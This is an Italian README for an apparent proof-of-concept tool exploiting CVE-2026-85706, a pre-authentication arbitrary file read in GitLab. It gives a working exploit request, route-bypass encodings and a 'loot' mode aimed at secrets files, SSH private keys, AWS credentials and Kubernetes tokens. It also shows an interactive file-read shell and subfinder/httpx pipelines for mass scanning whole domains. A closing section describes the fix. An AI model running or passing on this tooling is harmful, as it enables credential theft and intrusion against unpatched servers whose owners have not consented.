
CVE-2026-85706 · Lettura di file non autenticata in GitLab CE/EE · PoC di ricerca con modalità oracle, enumerazione dei fd e targeting a livelli del loot
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Interessato | 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1 |
| Corretto | 19.1.8 / 19.2.6 / 19.3.2 (rilasciato 2026-09-10) |
| Componente | Repository Commits API / Files API (Workhorse body-upload) |
| Segnalato da | s3ntago via GitLab HackerOne |
Tre endpoint delle API dei repository si trovano dietro il requestBodyUploader di Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
L'handler Rails chiama File.open(params['file.path']) prima di authenticate!. Quattro condizioni rendono questo sfruttabile:
1. L'autenticazione scatta dopo la lettura del file.
require_gitlab_workhorse! controlla solo l'header JWT Gitlab-Workhorse-Api-Request. Workhorse appone quell'header su ogni richiesta che proxa, inclusi i semplici passthrough. Il vero authenticate! risiede dentro authorize_push_to_branch!, che viene eseguito dopo che file_params_from_body_upload ha già letto il file dal disco.
2. file.path proviene direttamente dalla richiesta.
file_params_from_body_upload legge params['file.path'] come percorso assoluto senza alcuna validazione. Nel flusso previsto Workhorse scrive l'upload in un file temporaneo e inietta da sé quel parametro. Un attaccante lo invia semplicemente in modo diretto come parametro di query string che punta a qualsiasi punto del filesystem.
3. Il route matching di Workhorse non decodifica mai il percent-encoding.
Workhorse confronta le route di upload con EscapedPath(), i byte grezzi dell'URL così come ricevuti. Puma decodifica le sequenze %XX prima di instradare verso Grape. Quindi codificare un carattere in un segmento statico fa sì che Workhorse salti la sua regola di rewrite mentre Rails instrada comunque verso l'handler vulnerabile:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack rimanda il contenuto del file nella risposta di errore.
Con Content-Type: application/x-www-form-urlencoded, il contenuto del file viene passato a Rack::Utils.parse_nested_query. Qualsiasi % isolato non seguito da due cifre esadecimali solleva InvalidParameterError: invalid %-encoding (<content>). Tutto ciò che precede il primo & nel file viene rimandato nel body 400.
I file senza % isolati vengono comunque letti pre-auth. La risposta 401 dal ramo urlencoded e una 500 dal ramo multipart confermano entrambe che il file esiste ed è leggibile dall'utente git, rendendole utili come oracolo di esistenza.
Richiesta di exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file legge qualsiasi singolo file; ricade automaticamente sull'oracolo se non c'è un trigger di echo--loot esegue 36 target su 7 tier, ordinati per probabilità confermata di trigger di echo--oracle esegue una sonda a doppio ramo (urlencoded + multipart) su file senza echo e ti dice se ciascuno è leggibile, mancante o non leggibile--proc enumera /proc/self/fd/0-31 per trovare file descriptor aperti, poi legge i target di recon standard in /proc--shell apre una shell interattiva di lettura file con i comandi cat, loot, oracle, project e curl--pipe legge i target da stdin e gestisce output di subfinder, testo httpx, JSON httpx, JSON nuclei e righe host grezze--list accetta un file di target uno per riga--threads per la scansione bulk concorrente--proxy instrada tutto attraverso Burp o mitmproxy--raw scrive byte grezzi su stdout senza decorazioni, utile per il piping verso un file--full esegue loot, oracle e proc in un'unica passata-opip install requests
python3 gitread.py -h
Richiede Python 3.10 o superiore. Nessun'altra dipendenza.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin viene rilevato automaticamente quando non è un TTY, quindi --pipe è opzionale nella maggior parte dei casi.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Verdetto | Significato |
|---|---|
leak | Contenuto del file rimandato nel body 400, lettura confermata |
leak-frag | Echo parziale tramite errore di tipo del parametro |
read-noecho | Il file è stato letto pre-auth ma non ha % isolati quindi nulla è stato rimandato |
READABLE | Il ramo multipart ha restituito 500, il file esiste ed è leggibile dall'utente git |
missing | Il server ha detto che il file locale non è presente |
rewrite | Workhorse ha riscritto il body, questa forma di bypass è morta |
noroute | Rails 404, l'istanza è corretta o il percorso è sbagliato |
server-error | 500, il file esiste ma ha causato un errore di parsing |
| Tier | File | Echo |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Il contenuto trapela direttamente |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Solo oracolo, puro hex |
| 3 | .gitlab_workhorse_secret | Solo oracolo |
| 4 | Chiavi private SSH e authorized_keys | Solo oracolo |
| 5 | gitlab-shell.yml, gitaly.toml, configurazione PostgreSQL | Solo oracolo |
| 6 | Token dell'account di servizio Kubernetes, credenziali AWS | Solo oracolo |
| 7 | Hostname, hosts, passwd, os-release, environ | Solo oracolo |
| Flag | Descrizione |
|---|---|
-t, -u, --target | URL di base singolo |
--pipe | Legge i target da stdin |
--list FILE | File di target |
--file PATH | Singolo percorso assoluto da leggere |
--loot | Esecuzione completa del loot su 36 target |
--oracle | Sonda a doppio ramo dei file senza echo |
--proc | Enumerazione dei fd in /proc e recon |
--shell | Shell interattiva dopo la scansione |
--full | loot + oracle + proc |
--project-id ID | Forza un project id invece di rilevarlo automaticamente |
--force | Scansiona anche se il target non ha il fingerprint di GitLab |
--raw | Scrive byte grezzi su stdout, senza decorazioni |
--proxy URL | Proxy HTTP/S |
--threads N | Thread worker per la modalità pipeline (default 8) |
--timeout N | Timeout per richiesta in secondi (default 15) |
-o FILE | Salva il report (.json per array formattato, qualsiasi altro per JSONL) |
-q, --quiet | Stampa solo gli hit |
-v, --verbose | Mostra ogni tentativo di sonda |
--no-banner | Sopprime il banner |
Codici di uscita: 0 leak confermato, 1 solo oracolo o nessun leak in pipeline, 2 nulla trovato.
Corretto nel commit master 0d9ce3e7, backportato come 1fe30154 / b43c8b26 / 0ff7b6b2.
Tre cose sono state modificate contemporaneamente:
authenticate! è stato spostato prima di file_params_from_body_upload in tutti e tre gli endpoint, così il file non viene mai letto per una richiesta non autenticatafile.path ora è accettato solo da un oggetto UploadedFile tipizzato prodotto dal middleware multipart, che richiede un JWT valido firmato da Workhorse, non da un parametro di query string grezzoInvalidParameterError non interpola più e.message nel body della risposta, così il canale di echo è chiuso anche se qualcuno trovasse un modo per aggirare i primi due fixIl bug è stato introdotto in GitLab 18.7 (dicembre 2025) quando è stata aggiunta la variante body-upload dell'API dei commit.
fatto con amore da @plur1bu5 -- se lo trovi utile, una stella è apprezzata